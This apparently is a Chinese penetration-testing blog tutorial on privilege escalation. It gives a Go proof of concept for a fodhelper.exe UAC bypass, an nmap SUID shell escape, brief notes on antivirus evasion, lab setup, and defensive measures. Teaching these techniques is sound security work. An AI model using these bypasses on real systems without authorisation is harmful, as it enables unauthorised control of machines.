0x01 系统架构中的钥匙：权限提升的秘密
在我们这个信息化泛滥的时代，权限提升成为了攻击者梦寐以求的目标之一。为了理解权限提升，我们得从操作系统的架构谈起。操作系统就像一个大楼，权限则是进入不同房间的钥匙。攻击者要想在这座大楼中肆意妄为，必须掌握这些钥匙。无论是Windows、Linux还是macOS，每种系统都有其独特的权限设计和漏洞。理解这些漏洞是实现权限提升的第一步。
权限提升的分类
权限提升可以分为水平提升和垂直提升。水平提升指的是攻击者在同一权限级别上，获取另一个用户的权限。而垂直提升则是从低权限账户跃升到高权限账户，如从普通用户提升到管理员。
常见的权限提升漏洞
操作系统中常见的权限提升漏洞包括内核漏洞、误配置、弱密码，以及应用程序漏洞等。每一种漏洞都有其不同的利用方式，而作为攻击者，我们要做的就是找到并利用这些漏洞，实现我们的最终目标。
实验室搭建：构建你的攻防沙盒
没有实验就没有真相。要想成为一位成功的攻击者，我们必须搭建自己的实验环境。这里我们介绍一种简单的实验室搭建方法，以便读者可以轻松复现权限提升攻击。
环境需求
我们需要准备以下工具和资源：
- 一台虚拟机管理软件（如VirtualBox或VMware）
- 一份Windows和Linux系统的ISO镜像
- 网络隔离环境
虚拟机配置
创建两台虚拟机：一台运行Windows系统，另一台运行Linux系统。确保这两台虚拟机配置在同一虚拟网络中，以便相互通信。你也可以使用Kali Linux作为攻击机，它预装了大量渗透测试工具。
系统配置
在Windows虚拟机上，确保安装基础应用程序，如Web服务器和数据库，作为攻击目标。在Linux虚拟机上，安装常见服务如SSH、Apache等，这样你可以尝试不同环境下的权限提升。
掌控系统：经典权限提升技术详解
Windows系统中的权限提升
在Windows中，UAC（用户账户控制）绕过是一个经典的权限提升攻击。攻击者利用系统提供的特权来执行恶意代码，从而实现权限提升。
UAC绕过：利用fodhelper.exe
下面是一个利用Windows自带应用fodhelper.exe实现UAC绕过的POC：
<pre><code class="language-go">package main
import ( "os/exec" "syscall" )
func main() { cmd := exec.Command("cmd.exe", "/c", "reg add HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command /d \"cmd.exe /k cd c:\\\" /f") cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} cmd.Run()
cmd = exec.Command("cmd.exe", "/c", "reg add HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command /v DelegateExecute /f") cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} cmd.Run()
cmd = exec.Command("fodhelper.exe") cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} cmd.Run() }</code></pre>
Linux系统中的权限提升
在Linux中，SUID权限是实现权限提升的重要途径。攻击者可以利用系统中配置错误的SUID程序获取root权限。
SUID提权：利用nmap
nmap是我们常用的网络扫描器，但它也可以被滥用来进行权限提升。
<pre><code class="language-shell"># 检查nmap是否有SUID权限 ls -la /usr/bin/nmap
利用nmap的交互式模式提权
nmap --interactive !sh</code></pre>
攻击技巧：免杀与隐匿攻击
在实际攻击中，绕过杀软和防御机制是成功的关键。对于Windows，Payload免杀可以通过自定义程序加壳实现。对于Linux，隐藏进程和网络流量是常用的隐匿技术。通过修改二进制文件的特征或混淆命令，攻击者可以在不被察觉的情况下实施攻击。
反制措施：检测与防御技术
每一次攻击都可能会在系统中留下痕迹，如何检测这些痕迹并进行防御是防御者的职责。
Windows防御
- 启用并配置Windows Defender：确保实时保护和定期扫描处于开启状态。
- 定期检查系统日志：利用事件查看器发现异常活动。
- 应用程序白名单：限制未知程序的执行。
Linux防御
- 定期更新系统和应用程序：修复已知漏洞。
- 使用SELinux或AppArmor：为进程提供额外的安全限制。
- 日志监控：通过syslog和auditd监控系统日志。
攻击者的心得：实战经验总结
作为一名多年的红队从业者，我深刻体会到，权限提升不仅仅是一种技术，更是一种艺术。每一场攻防对抗都是对技术和心理的双重考验。我们不能忽视细节，因为往往最微小的漏洞中藏着最大的成功机会。对于每一位渗透测试人员来说，持续学习和实验是保持竞争力的关键。最后，记住：每一次攻击都必须在合法授权的前提下进行，以道德为准绳，以技术为工具。这不仅是对他人的尊重，更是对自己的保护。